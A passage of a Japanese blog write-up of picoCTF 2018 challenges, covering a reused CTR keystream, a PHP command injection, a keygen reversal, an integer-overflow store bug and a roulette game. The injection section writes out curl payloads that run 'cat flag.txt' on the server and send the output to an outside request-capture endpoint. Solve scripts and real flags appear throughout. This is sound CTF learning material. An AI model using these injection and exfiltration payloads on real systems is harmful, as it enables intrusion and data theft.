  2. 暗号化は全て AES-CTR, nonce, counterを更新せずに使っている
  3. 任意の文字列(._/\\は除外)を暗号化した結果が得られる
  4. 3.の入力文字列と暗号化した結果のxorが、flagファイルを暗号化するのにも使用した固定鍵ストリームになる

ここで、

  • 固定鍵ストリーム: fix_key
  • flagファイルのファイル名: flag_file
  • flagファイルのShare code: flag_share_code
  • 任意のファイルのファイル名: test_file
  • testファイルのShare code: test_share_code

とすると、下記が成り立ちます。(base64処理は省略)

fix_key xor flag_file = flag_share_code
fix_key xor test_file = test_share_code

A xor B = C の場合、 A = B xor C なので

fix_key = test_file xor test_share_code
test_file xor test_share_code xor flag_file = flag_share_code

これで flag_share_code が入手できそうです。 今回は flag_filetest_file の長さを揃えて簡単にするため、test_fileflag_fileで入力が弾かれる_@に置き換えたものにして見ました。

解いてみます。まずは接続して、同じ鍵ストリームを用いて生成された各パラメータを取得します。

$ nc 2018shell.picoctf.com 42185
Initializing Problem...
Welcome to eleCTRic Ltd's Safe Crypto Storage
---------------------------------------------

Choices:
  E[n]crypt and store file
  D[e]crypt file
  L[i]st files
  E[x]it
Please choose: i

Files:
  flag_c5ba012b03726aa7f89d.txt

Choices:
  E[n]crypt and store file
  D[e]crypt file
  L[i]st files
  E[x]it
Please choose: n

Name of file? flag@c5ba012b03726aa7f89d
Data? a
Share code:
DmM/ra5kSHkC/ntMcvrNAVo5P6vZYUUiB+A+BmQ=

繋ぎっぱなしにしたまま、下記のスクリプトを動かします。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

import base64

flag_file = 'flag_c5ba012b03726aa7f89d.txt'
test_file = 'flag@c5ba012b03726aa7f89d.txt'
test_share_code = 'DmM/ra5kSHkC/ntMcvrNAVo5P6vZYUUiB+A+BmQ=='

# 長さ確認
if len(base64.b64decode(test_share_code)) != len(test_file):
   raise('invalid input!')

flag_share_code = bytearray()
for i in range(len(test_file)):
    flag_share_code.append(ord(test_file[i]) ^ base64.b64decode(test_share_code)[i] ^ ord(flag_file[i]))

print(base64.b64encode(flag_share_code))

実行結果

$ python solve.py 
b'DmM/rbFkSHkC/ntMcvrNAVo5P6vZYUUiB+A+BmQ='

ここで得られた値を Share code として入力してdecryptしてもらいます。

Choices:
  E[n]crypt and store file
  D[e]crypt file
  L[i]st files
  E[x]it
Please choose: e

Share code? DmM/rbFkSHkC/ntMcvrNAVo5P6vZYUUiB+A+BmQ=
Data: 
picoCTF{alw4ys_4lways_Always_check_int3grity_6ce3f91c}

Flagとれました٩(๑❛ᴗ❛๑)۶ 
ホストとの接続・対話も全部スクリプトで書いたほうがかっこいいんでしょうけど、解ければよし。

[Web] fancy-alive-monitoring (400pt)

One of my school mate developed an alive monitoring tool. Can you get a flag from http://2018shell.picoctf.com:56517 (link)?

リンク先に飛んでみたが、落ちてる様子。
→ 2019/05/23 復活しているようなのでやってみました!

Hints

This application uses the validation check both on the client side and on the server side, but the server check seems to be inappropriate.

You should be able to listen through the shell on the server.

リンク先に飛んでみると、こんなページ。

f:id:kusuwada:20190523024503p:plain

index.php source code というリンクがあったので飛んでみると、コードが落ちています。

<html>
<head>
   <title>Monitoring Tool</title>
   <script>
   function check(){
       ip = document.getElementById("ip").value;
       chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/);
       if (!chk) {
           alert("Wrong IP format.");
           return false;
       } else {
           document.getElementById("monitor").submit();
       }
   }
   </script>
</head>
<body>
    <h1>Monitoring Tool ver 0.1</h1>
    <form id="monitor" action="index.php" method="post" onsubmit="return false;">
    <p> Input IP address of the target host
    <input id="ip" name="ip" type="text">
    </p>
    <input type="button" value="Go!" onclick="check()">
    </form>
    <hr>

<?php
$ip = $_POST["ip"];
if ($ip) {
    // super fancy regex check!
    if (preg_match('/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/',$ip)) {
        exec('ping -c 1 '.$ip, $cmd_result);
        foreach($cmd_result as $str){
            if (strpos($str, '100% packet loss') !== false){
                printf("<h3>Target is NOT alive.</h3>");
                break;
            } else if (strpos($str, ', 0% packet loss') !== false){
                printf("<h3>Target is alive.</h3>");
                break;
            }
        }
    } else {
        echo "Wrong IP Format.";
    }
}
?>
<hr>
<a href="index.txt">index.php source code</a>
</body>
</html>

入力したIPアドレスpingを送り、生きているかどうかを表示するサービスのようです。
ヒントにある通り、フォームに送る ip アドレスのvalidationがクライアントサイド(javascript)とサーバーサイド(php)で行われています。
今回はphp側のチェック (super fancy regex check! っていう怪しいやつですね) が不適切なため、これまた脆弱性の温床になりがちな exec コマンドに ip アドレスでない文字列を送れるようになっています。

ヒントの言葉を信じるならば、これを利用してshellを取り、おそらく近くに落ちてるflag.txt的なファイルを覗いてflagをgetするっぽい。

ここでphp側の super fancy regex check! のチェックを見てみると、最初はちゃんと ^ から始まっているのに、最後の終端を確認する $ が抜けているため、ipアドレスから始まっていれば後ろに任意の文字列をくっつけてもvalidationを通ってしまうことがわかります。

ちなみに、クライアントサイドのチェックはブラウザの開発者機能やツールでoffってもいいし、スクリプトcurlコマンドで直接サイトにアクセスしてデータを送ってしまえば回避できます。

今回はcurlでやってみました。まずは手始めに、ただの正しいipアドレスで、しかもAliveが返って来そうなリクエストを投げてみます。

$ curl -X POST http://2018shell.picoctf.com:56517 --data "ip=127.0.0.1"
<html>
(中略)
<h3>Target is alive.</h3><hr>
(中略)
</html>

無事、Target is alive が返ってきました。
次に、後ろにパイプでコマンドをつなげてみます。が、結果を表示してくれるわけではないので、出力をどこかに送りつける必要があります。専用のホストを持っていれば良いのですが、持っていない場合はこんな感じのサービスで一時的にendpointを作ってしまいます。このサービスだと、作ったendpointに来たリクエストをブラウザから確認できます。便利!!

beeceptor.com

今回はhttps://pico2018kusuwada.free.beeceptor.comのエンドポイントを作成しました。面倒なので何の設定もmockもなしで https://pico2018kusuwada.free.beeceptor.com/my/api/path を使っちゃいます。

POSTリクエストのdataの組み立てはざっくりこんな感じ。

ip=127.0.0.1; ls | xargs -n1 curl -X POST '{your-url}' --data

validationを通すためのipアドレスに、lsコマンドをくっつけ、この出力を xargs で次のcurlコマンドのの引数として指定します。xargs、便利なコマンド・・・。
コマンドA | xargs コマンドB とすると、コマンドAの出力がコマンドBの引数に指定されます。
ということで、curlコマンドで自分で用意したendpointに ls コマンドの出力を送りつけます。

curl -X POST http://2018shell.picoctf.com:56517 --data "ip=127.0.0.1; ls | xargs -n1 curl -X POST 'https://pico2018kusuwada.free.beeceptor.com/my/api/path' --data"

実行結果

flag.txt
index.php
index.txt
xinet_starup.sh

無事flag.txtが落ちてます。あとは先程のlsコマンド部分を書き換えて cat flag.txt にしてやるだけ。

curl -X POST http://2018shell.picoctf.com:56517 --data "ip=127.0.0.1; cat flag.txt | xargs -n1 curl -X POST 'https://pico2018kusuwada.free.beeceptor.com/my/api/path' --data"

実行結果(時系列逆順)

f:id:kusuwada:20190523024432p:plain:w400

[Reversing] keygen-me-1 (400pt)

Can you generate a valid product key for the validation program in /problems/keygen-me-1_3_a2370158b7b72b3863212502340f2c32

picoCTF の shell server の指定path上に、activate ファイルと flag.txt ファイルが落ちているので、最終的に shell server 上で実行する。

実行してみると

$ ./activate 
Usage: ./activate <PRODUCT_KEY>
# ./activate AAA
Please Provide a VALID 16 byte Product Key.
# ./activate AAAAAAAAAAAAAAAA
INVALID Product Key.

とのことなので、16バイトのProductKeyを突き止めて入力する必要がありそう。
今回はソースコードの配布は特になし。
早速アセンブラを確認します。今回もradare2を使っています。まずはmain。

[0xf7fc70b0]> s main
[0x0804881d]> pdf
/ (fcn) main 195
|   main (int argc, char **argv, char **envp);
|           ; var int local_8h @ ebp-0x8
|           ; arg int arg_4h @ esp+0x4
|           ; DATA XREF from entry0 (0x8048517)
|           0x0804881d      8d4c2404       lea ecx, dword [arg_4h]     ; 4
|           0x08048821      83e4f0         and esp, 0xfffffff0
|           0x08048824      ff71fc         push dword [ecx - 4]
|           0x08048827      55             push ebp
|           0x08048828      89e5           mov ebp, esp
|           0x0804882a      53             push ebx
|           0x0804882b      51             push ecx
|           0x0804882c      89cb           mov ebx, ecx
|           0x0804882e      a13ca00408     mov eax, dword [obj.stdout__GLIBC_2.0] ; obj.__TMC_END ; [0x804a03c:4]=0
|           0x08048833      6a00           push 0
|           0x08048835      6a02           push 2                      ; 2
|           0x08048837      6a00           push 0
|           0x08048839      50             push eax
|           0x0804883a      e891fcffff     call sym.imp.setvbuf        ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
|           0x0804883f      83c410         add esp, 0x10
|           0x08048842      833b01         cmp dword [ebx], 1
|       ,=< 0x08048845      7f17           jg 0x804885e
|       |   0x08048847      83ec0c         sub esp, 0xc
|       |   0x0804884a      68a0890408     push str.Usage:_._activate__PRODUCT_KEY ; 0x80489a0 ; "Usage: ./activate <PRODUCT_KEY>"
|       |   0x0804884f      e83cfcffff     call sym.imp.puts           ; int puts(const char *s)
|       |   0x08048854      83c410         add esp, 0x10
|       |   0x08048857      b8ffffffff     mov eax, 0xffffffff         ; -1
|      ,==< 0x0804885c      eb78           jmp 0x80488d6
|      |`-> 0x0804885e      8b4304         mov eax, dword [ebx + 4]    ; [0x4:4]=-1 ; 4
|      |    0x08048861      83c004         add eax, 4
|      |    0x08048864      8b00           mov eax, dword [eax]
|      |    0x08048866      83ec0c         sub esp, 0xc
|      |    0x08048869      50             push eax
|      |    0x0804886a      e89bfeffff     call sym.check_valid_key
|      |    0x0804886f      83c410         add esp, 0x10
|      |    0x08048872      84c0           test al, al
|      |,=< 0x08048874      7517           jne 0x804888d
|      ||   0x08048876      83ec0c         sub esp, 0xc
|      ||   0x08048879      68c0890408     push str.Please_Provide_a_VALID_16_byte_Product_Key. ; 0x80489c0 ; "Please Provide a VALID 16 byte Product Key."
|      ||   0x0804887e      e80dfcffff     call sym.imp.puts           ; int puts(const char *s)
|      ||   0x08048883      83c410         add esp, 0x10
|      ||   0x08048886      b8ffffffff     mov eax, 0xffffffff         ; -1
|     ,===< 0x0804888b      eb49           jmp 0x80488d6
|     ||`-> 0x0804888d      8b4304         mov eax, dword [ebx + 4]    ; [0x4:4]=-1 ; 4
|     ||    0x08048890      83c004         add eax, 4
|     ||    0x08048893      8b00           mov eax, dword [eax]
|     ||    0x08048895      83ec0c         sub esp, 0xc
|     ||    0x08048898      50             push eax
|     ||    0x08048899      e8d3feffff     call sym.validate_key
|     ||    0x0804889e      83c410         add esp, 0x10
|     ||    0x080488a1      84c0           test al, al
|     ||,=< 0x080488a3      7517           jne 0x80488bc
|     |||   0x080488a5      83ec0c         sub esp, 0xc
|     |||   0x080488a8      68ec890408     push str.INVALID_Product_Key. ; 0x80489ec ; "INVALID Product Key."
|     |||   0x080488ad      e8defbffff     call sym.imp.puts           ; int puts(const char *s)
|     |||   0x080488b2      83c410         add esp, 0x10
|     |||   0x080488b5      b8ffffffff     mov eax, 0xffffffff         ; -1
|    ,====< 0x080488ba      eb1a           jmp 0x80488d6
|    |||`-> 0x080488bc      83ec0c         sub esp, 0xc
|    |||    0x080488bf      68048a0408     push str.Product_Activated_Successfully: ; 0x8048a04 ; "Product Activated Successfully: "
|    |||    0x080488c4      e887fbffff     call sym.imp.printf         ; int printf(const char *format)
|    |||    0x080488c9      83c410         add esp, 0x10
|    |||    0x080488cc      e82afdffff     call sym.print_flag
|    |||    0x080488d1      b800000000     mov eax, 0
|    |||    ; CODE XREFS from main (0x804885c, 0x804888b, 0x80488ba)
|    ```--> 0x080488d6      8d65f8         lea esp, dword [local_8h]
|           0x080488d9      59             pop ecx
|           0x080488da      5b             pop ebx
|           0x080488db      5d             pop ebp
|           0x080488dc      8d61fc         lea esp, dword [ecx - 4]
\           0x080488df      c3             ret

途中で呼ばれている、keyの検証をしているっぽい関数 validate_key を見ます。

[0x0804881d]> s sym.validate_key
[0x08048771]> pdf
/ (fcn) sym.validate_key 172
|   sym.validate_key (int arg_8h);
|           ; var int local_14h @ ebp-0x14
|           ; var int local_10h @ ebp-0x10
|           ; var int local_ch @ ebp-0xc
|           ; var int local_4h @ ebp-0x4
|           ; arg int arg_8h @ ebp+0x8
|           ; CALL XREF from main (0x8048899)
|           0x08048771      55             push ebp
|           0x08048772      89e5           mov ebp, esp
|           0x08048774      53             push ebx
|           0x08048775      83ec14         sub esp, 0x14
|           0x08048778      83ec0c         sub esp, 0xc
|           0x0804877b      ff7508         push dword [arg_8h]
|           0x0804877e      e82dfdffff     call sym.imp.strlen         ; size_t strlen(const char *s)
|           0x08048783      83c410         add esp, 0x10
|           0x08048786      8945f4         mov dword [local_ch], eax
|           0x08048789      c745ec000000.  mov dword [local_14h], 0
|           0x08048790      c745f0000000.  mov dword [local_10h], 0
|       ,=< 0x08048797      eb30           jmp 0x80487c9
|      .--> 0x08048799      8b55f0         mov edx, dword [local_10h]
|      :|   0x0804879c      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
|      :|   0x0804879f      01d0           add eax, edx
|      :|   0x080487a1      0fb600         movzx eax, byte [eax]
|      :|   0x080487a4      0fbec0         movsx eax, al
|      :|   0x080487a7      83ec0c         sub esp, 0xc
|      :|   0x080487aa      50             push eax
|      :|   0x080487ab      e808ffffff     call sym.ord
|      :|   0x080487b0      83c410         add esp, 0x10
|      :|   0x080487b3      0fbec0         movsx eax, al
|      :|   0x080487b6      8d5001         lea edx, dword [eax + 1]    ; 1
|      :|   0x080487b9      8b45f0         mov eax, dword [local_10h]
|      :|   0x080487bc      83c001         add eax, 1
|      :|   0x080487bf      0fafc2         imul eax, edx
|      :|   0x080487c2      0145ec         add dword [local_14h], eax
|      :|   0x080487c5      8345f001       add dword [local_10h], 1
|      :|   ; CODE XREF from sym.validate_key (0x8048797)
|      :`-> 0x080487c9      8b45f4         mov eax, dword [local_ch]
|      :    0x080487cc      83e801         sub eax, 1
|      :    0x080487cf      3b45f0         cmp eax, dword [local_10h]
|      `==< 0x080487d2      7fc5           jg 0x8048799
|           0x080487d4      8b4dec         mov ecx, dword [local_14h]
|           0x080487d7      ba398ee338     mov edx, 0x38e38e39
|           0x080487dc      89c8           mov eax, ecx
|           0x080487de      f7e2           mul edx
|           0x080487e0      89d3           mov ebx, edx
|           0x080487e2      c1eb03         shr ebx, 3
|           0x080487e5      89d8           mov eax, ebx
|           0x080487e7      c1e003         shl eax, 3
|           0x080487ea      01d8           add eax, ebx
|           0x080487ec      c1e002         shl eax, 2
|           0x080487ef      29c1           sub ecx, eax
|           0x080487f1      89cb           mov ebx, ecx
|           0x080487f3      8b45f4         mov eax, dword [local_ch]
|           0x080487f6      8d50ff         lea edx, dword [eax - 1]
|           0x080487f9      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
|           0x080487fc      01d0           add eax, edx
|           0x080487fe      0fb600         movzx eax, byte [eax]
|           0x08048801      0fbec0         movsx eax, al
|           0x08048804      83ec0c         sub esp, 0xc
|           0x08048807      50             push eax
|           0x08048808      e8abfeffff     call sym.ord
|           0x0804880d      83c410         add esp, 0x10
|           0x08048810      0fbec0         movsx eax, al
|           0x08048813      39c3           cmp ebx, eax
|           0x08048815      0f94c0         sete al
|           0x08048818      8b5dfc         mov ebx, dword [local_4h]
|           0x0804881b      c9             leave
\           0x0804881c      c3             ret

この中で呼ばれている ord 関数も見る必要がありそうです。

[0x080484b0]> s sym.ord
[0x080486b8]> pdf
/ (fcn) sym.ord 82
|   sym.ord (int arg_8h);
|           ; var int local_ch @ ebp-0xc
|           ; arg int arg_8h @ ebp+0x8
|           ; CALL XREFS from sym.validate_key (0x80487ab, 0x8048808)
|           0x080486b8      55             push ebp
|           0x080486b9      89e5           mov ebp, esp
|           0x080486bb      83ec18         sub esp, 0x18
|           0x080486be      8b4508         mov eax, dword [arg_8h]     ; [0x8:4]=-1 ; 8
|           0x080486c1      8845f4         mov byte [local_ch], al
|           0x080486c4      807df42f       cmp byte [local_ch], 0x2f   ; '/'
|       ,=< 0x080486c8      7e0f           jle 0x80486d9
|       |   0x080486ca      807df439       cmp byte [local_ch], 0x39   ; '9'
|      ,==< 0x080486ce      7f09           jg 0x80486d9
|      ||   0x080486d0      0fb645f4       movzx eax, byte [local_ch]
|      ||   0x080486d4      83e830         sub eax, 0x30               ; '0'
|     ,===< 0x080486d7      eb2f           jmp 0x8048708
|     |``-> 0x080486d9      807df440       cmp byte [local_ch], 0x40   ; '@'
|     | ,=< 0x080486dd      7e0f           jle 0x80486ee
|     | |   0x080486df      807df45a       cmp byte [local_ch], 0x5a   ; 'Z'
|     |,==< 0x080486e3      7f09           jg 0x80486ee
|     |||   0x080486e5      0fb645f4       movzx eax, byte [local_ch]
|     |||   0x080486e9      83e837         sub eax, 0x37               ; '7'
|    ,====< 0x080486ec      eb1a           jmp 0x8048708
|    ||``-> 0x080486ee      83ec0c         sub esp, 0xc
|    ||     0x080486f1      6884890408     push str.Found_Invalid_Character ; 0x8048984 ; "Found Invalid Character!"
|    ||     0x080486f6      e895fdffff     call sym.imp.puts           ; int puts(const char *s)
|    ||     0x080486fb      83c410         add esp, 0x10
|    ||     0x080486fe      83ec0c         sub esp, 0xc
|    ||     0x08048701      6a00           push 0
|    ||     0x08048703      e898fdffff     call sym.imp.exit           ; void exit(int status)
|    ||     ; CODE XREFS from sym.ord (0x80486d7, 0x80486ec)
|    ``---> 0x08048708      c9             leave
\           0x08048709      c3             ret

この処理を見ると、入力値が数値だった場合は 0x30('0')、アルファベットだった場合は 0x37('7') を引いて返却、その他の場合は異常終了、という処理のようです。

validate_key 関数の最後の方、

|           0x08048813      39c3           cmp ebx, eax
|           0x08048815      0f94c0         sete al

の比較で ebx == eax なら flagが表示されそうです。
validate_keyord 関数を一行ずつ解読してpythonに起こしました。
…最終的にできたんだけども、この解き方で合ってるのかな?めっちゃ時間かかりました…。

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

local_14h = 0 # ebp-0x14
local_10h = 0 # ebp-0x10
local_ch = 16  # ebp-0xc
arg_8h = "0000000000000000" # ebp+0x8 入力

def sym_ord(arg):
    if arg.isdigit():
        return ord(arg) - ord('0')
    elif arg.isalpha():
        return ord(arg) - ord('7')
    else:
        raise Exception

while (local_ch - 1 > local_10h):
    edx = sym_ord(arg_8h[local_10h]) + 1
    local_10h += 1
    local_14h += local_10h * edx
    print(local_14h)

ecx = local_14h
edx = 0x38e38e39
eax = ecx * edx
eax = int(eax >> 32)  # 32 bitに収めるため
ebx = eax >> 3
eax = ebx << 3
eax += ebx
eax = eax << 2
ecx -= eax
ebx = ecx

eax = sym_ord(arg_8h[local_ch - 1])
print('ebx: ' + str(ebx) + ', eax: ' + str(eax))

入力文字列16個のうち、最初の15個をいじくり回して ebx を求め、これと最後の1文字で計算される eax を比較します。
まずは 0000000000000000 を入れてみた実行結果

$ python to_python.py 
ebx: 12, eax: 0

0000000000000000 では、eax = 0 になってしまいますね。最後の文字をいじって 12 になるように調整すれば良いので、最後にはCを入れてあげます。

$ ./activate 000000000000000C 
Product Activated Successfully: picoCTF{k3yg3n5_4r3_s0_s1mp13_749501403}

なんとか出た〜!
これ、アセンブラを読みながらコメント入れていったメモをwrite-upに入れたほうが良いような気がしますが、めっちゃ長くなるので割愛。
もっと効率の良い解き方があるのかなー?それともアセンブラが読める人は普通のプログラムぐらいすぐにアセンブラの状態で挙動がわかるんだろうか・・・(ಠ_ಠ) 少なくとも競技中にこの問題を解ける気がしないぜ・・・。

[General] store (400pt)

We started a little store, can you buy the flag? Source. Connect with 2018shell.picoctf.com 10740.

DLできるのは下記2つのファイル。

$ file store 
store: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=03f67ed10ead328db2e2614c71a5723bb0dcfb45, not stripped
#include <stdio.h>
#include <stdlib.h>
int main()
{
    int con;
    con = 0;
    int account_balance = 1100;
    while(con == 0){
        
        printf("Welcome to the Store App V1.0\n");
        printf("World's Most Secure Purchasing App\n");

        printf("\n[1] Check Account Balance\n");
        printf("\n[2] Buy Stuff\n");
        printf("\n[3] Exit\n");
        int menu;
        printf("\n Enter a menu selection\n");
        fflush(stdin);
        scanf("%d", &menu);
        if(menu == 1){
            printf("\n\n\n Balance: %d \n\n\n", account_balance);
        }
        else if(menu == 2){
            printf("Current Auctions\n");
            printf("[1] I Can't Believe its not a Flag!\n");
            printf("[2] Real Flag\n");
            int auction_choice;
            fflush(stdin);
            scanf("%d", &auction_choice);
            if(auction_choice == 1){
                printf("Imitation Flags cost 1000 each, how many would you like?\n");
                
                int number_flags = 0;
                fflush(stdin);
                scanf("%d", &number_flags);
                if(number_flags > 0){
                    int total_cost = 0;
                    total_cost = 1000*number_flags;
                    printf("\nYour total cost is: %d\n", total_cost);
                    if(total_cost <= account_balance){
                        account_balance = account_balance - total_cost;
                        printf("\nYour new balance: %d\n\n", account_balance);
                    }
                    else{
                        printf("Not enough funds\n");
                    }
                                    
                    
                }
                    
                    
                    
                
            }
            else if(auction_choice == 2){
                printf("A genuine Flag costs 100000 dollars, and we only have 1 in stock\n");
                printf("Enter 1 to purchase");
                int bid = 0;
                fflush(stdin);
                scanf("%d", &bid);
                
                if(bid == 1){
                    
                    if(account_balance > 100000){
                        printf("YOUR FLAG IS:\n");
                        }
                    
                    else{
                        printf("\nNot enough funds for transaction\n\n\n");
                    }}

            }
        }
        else{
            con = 1;
        }

    }
    return 0;
}

ソース割と長め。解けている人が多い。
途中妙な改行が結構あるのが気になるけども、とりあえず無視。

指定されたホストに接続して動作を確認してみた感じ、どうやらFlagを購入したいけど初期状態だとお金が足りないっぽい。
最初のメニューは

  1. 残高確認
  2. 購入
  3. 終了

残高の初期値は一律 1100ドル。

2.の購入を選ぶと、下記メニューが。

  1. これがflagじゃないなんて信じられない!
  2. 本物のflag

どういうことだ…。

1.を選択すると、"Immitation Flag" が 1000ドルで買えるらしい。何個購入するか選択できる。所持金が合計金額より多ければ購入でき、更に所持金から合計金額が引かれる。

2.を選択すると、"genuine Flag" は 100000ドルもかかるらしい。所持金が100000以上あればここで購入でき、プログラムには出てこないけどflagを教えてくれそう。

見た感じ、お金が増える要素がない。
ので、なんとか所持金 (account_balance) を増やさないといけない。すぐに考えつくのは、桁あふれを起こさせて、どこかで購入額をマイナスに反転させること。

account_balance, total_cost はintなので、c言語のintの範囲。

-2147483648 〜 2147483647

2147483647 を上回る数は扱えないので、それ以上の値はひっくり返ってマイナスになるはず。マイナスになったら、購入時の所持金判定も通るし、購入後にお金が増えるはず。ホクホク。
number_flags は正の数でないとだめなので、1~2147483647の範囲内で入力する。

Welcome to the Store App V1.0
World's Most Secure Purchasing App

[1] Check Account Balance

[2] Buy Stuff

[3] Exit

 Enter a menu selection
2
Current Auctions
[1] I Can't Believe its not a Flag!
[2] Real Flag
1
Imitation Flags cost 1000 each, how many would you like?
1000000000

Your total cost is: -727379968

Your new balance: 727380068

Welcome to the Store App V1.0
World's Most Secure Purchasing App

[1] Check Account Balance

[2] Buy Stuff

[3] Exit

 Enter a menu selection
1



 Balance: 727380068 


Welcome to the Store App V1.0
World's Most Secure Purchasing App

[1] Check Account Balance

[2] Buy Stuff

[3] Exit

 Enter a menu selection
2
Current Auctions
[1] I Can't Believe its not a Flag!
[2] Real Flag
2
A genuine Flag costs 100000 dollars, and we only have 1 in stock
Enter 1 to purchase1
YOUR FLAG IS: picoCTF{numb3r3_4r3nt_s4f3_03054e5d}

うむ。これも400ptももらえるのか。点数稼ぐなら、Generalだけでも全部見るのが良さそう。

[General] roulette (350pt)

上の問題 store を解いたら出てきた問題。350pt問題ですがここに。

This Online Roulette Service is in Beta. Can you find a way to win $1,000,000,000 and get the flag? Source. Connect with nc 2018shell.picoctf.com 21444

DLできるファイルは下記の2つ。今度はルーレット。

$ file roulette
roulette: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=eb658ac62266f7d00a051049ab3c08415ecfb2f0, not stripped
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
#include <limits.h>

#define MAX_NUM_LEN 12
#define HOTSTREAK 3
#define MAX_WINS 16
#define ONE_BILLION 1000000000
#define ROULETTE_SIZE 36
#define ROULETTE_SPINS 128
#define ROULETTE_SLOWS 16
#define NUM_WIN_MSGS 10
#define NUM_LOSE_MSGS 5

long cash = 0;
long wins = 0;

int is_digit(char c) {
    return '0' <= c && c <= '9';
}

long get_long() {
    printf("> ");
    uint64_t l = 0;
    char c = 0;
    while(!is_digit(c))
      c = getchar();
    while(is_digit(c)) {
      if(l >= LONG_MAX) {
    l = LONG_MAX;
    break;
      }
      l *= 10;
      l += c - '0';
      c = getchar();
    }
    while(c != '\n')
      c = getchar();
    return l;
}

long get_rand() {
  long seed;
  FILE *f = fopen("/dev/urandom", "r");
  fread(&seed, sizeof(seed), 1, f);
  fclose(f);
  seed = seed % 5000;
  if (seed < 0) seed = seed * -1;
  srand(seed);
  return seed;
}

long get_bet() {
  while(1) {
    puts("How much will you wager?");
    printf("Current Balance: $%lu \t Current Wins: %lu\n", cash, wins); 
    long bet = get_long(); 
    if(bet <= cash) {
      return bet;
    } else {
      puts("You can't bet more than you have!");
    }
  }
}

long get_choice() {
  while (1) {
    printf("Choose a number (1-%d)\n", ROULETTE_SIZE);
    long choice = get_long();
    if (1 <= choice && choice <= ROULETTE_SIZE) {
      return choice;
    } else {
      puts("Please enter a valid choice.");
    }
  }
}

int print_flag() {
  char flag[48];
  FILE *file;
  file = fopen("flag.txt", "r");
  if (file == NULL) {
    printf("Failed to open the flag file\n");
    return -1;
  }
  fgets(flag, sizeof(flag), file);
  printf("%s", flag);
  return 0;
}

const char *win_msgs[NUM_WIN_MSGS] = {
  "Wow.. Nice One!",
  "You chose correct!",
  "Winner!",
  "Wow, you won!",
  "Alright, now you're cooking!",
  "Darn.. Here you go",
  "Darn, you got it right.",
  "You.. win.. this round...",
  "Congrats!",
  "You're not cheating are you?",
};

const char *lose_msgs1[NUM_LOSE_MSGS] = {
  "WRONG",
  "Nice try..",
  "YOU LOSE",
  "Not this time..",
  "Better luck next time..."
};

const char *lose_msgs2[NUM_LOSE_MSGS] = {
  "Just give up!",
  "It's over for you.",
  "Stop wasting your time.",
  "You're never gonna win",
  "If you keep it up, maybe you'll get the flag in 100000000000 years"
};

void spin_roulette(long spin) {
  int n;
  puts("");
  printf("Roulette  :  ");
  int i, j;
  int s = 12500;
  for (i = 0; i < ROULETTE_SPINS; i++) {
    n = printf("%d", (i%ROULETTE_SIZE)+1);
    usleep(s);
    for (j = 0; j < n; j++) {
      printf("\b \b");
    }
  }
  for (i = ROULETTE_SPINS; i < (ROULETTE_SPINS+ROULETTE_SIZE); i++) {
    n = printf("%d", (i%ROULETTE_SIZE)+1);
    if (((i%ROULETTE_SIZE)+1) == spin) {
      for (j = 0; j < n; j++) {
    printf("\b \b");
      }
      break;
    }
    usleep(s);
    for (j = 0; j < n; j++) {
      printf("\b \b");
    }
  }
  for (int k = 0; k < ROULETTE_SIZE; k++) {
    n = printf("%d", ((i+k)%ROULETTE_SIZE)+1);
    s = 1.1*s;
    usleep(s);
    for (j = 0; j < n; j++) {
      printf("\b \b");
    }
  }
  printf("%ld", spin);
  usleep(s);
  puts("");
  puts("");
}

void play_roulette(long choice, long bet) {
  
  printf("Spinning the Roulette for a chance to win $%lu!\n", 2*bet);
  long spin = (rand() % ROULETTE_SIZE)+1;

  spin_roulette(spin);
  
  if (spin == choice) {
    cash += 2*bet;
    puts(win_msgs[rand()%NUM_WIN_MSGS]);
    wins += 1;
  }
  else {
    puts(lose_msgs1[rand()%NUM_LOSE_MSGS]);
    puts(lose_msgs2[rand()%NUM_LOSE_MSGS]);
  }
  puts("");
}

int main(int argc, char *argv[]) {
  setvbuf(stdout, NULL, _IONBF, 0);

  cash = get_rand();
  
  puts("Welcome to ONLINE ROULETTE!");
  printf("Here, have $%ld to start on the house! You'll lose it all anyways >:)\n", cash);
  puts("");
  
  long bet;
  long choice;
  while(cash > 0) {
      bet = get_bet();
      cash -= bet;
      choice = get_choice();
      puts("");
      
      play_roulette(choice, bet);
      
      if (wins >= MAX_WINS) {
    printf("Wow you won %lu times? Looks like its time for you cash you out.\n", wins);
    printf("Congrats you made $%lu. See you next time!\n", cash);
    exit(-1);
      }
      
      if(cash > ONE_BILLION) {
    printf("*** Current Balance: $%lu ***\n", cash);
    if (wins >= HOTSTREAK) {
      puts("Wow, I can't believe you did it.. You deserve this flag!");
      print_flag();
      exit(0);
    }
    else {
      puts("Wait a second... You're not even on a hotstreak! Get out of here cheater!");
      exit(-1);
    }
    }
  }
  puts("Haha, lost all the money I gave you already? See ya later!");
  return 0;
}

遊んでみます。

$ nc 2018shell.picoctf.com 21444
Welcome to ONLINE ROULETTE!
Here, have $1635 to start on the house! You'll lose it all anyways >:)

How much will you wager?
Current Balance: $1635   Current Wins: 0
> 100
Choose a number (1-36)
> 4

Spinning the Roulette for a chance to win $200!

Roulette  :  22

WRONG
You're never gonna win

How much will you wager?
Current Balance: $1535   Current Wins: 0

Roulette : の欄が変わっていって、最終的に22に落ち着きました。外れたのでBetした金額が引かれています。シンプルなルーレットゲームのようです。

ソースを読んだ感じ、所持金の初期値は 0~5000 までのランダム。所持金 cash が 0以下になると終了のようです。また、16回勝つと「おめでとう」と返金されて終了、Flagはもらえないようです。$1,000,000,000を達成すると、Flagがもらえるようです。単純に勝ち続けるだけでは駄目っぽいですね。さらに、1-billionを達成しても勝ちが3回未満だった場合は、チーターだと言われてFlag教えてもらえないみたいです。

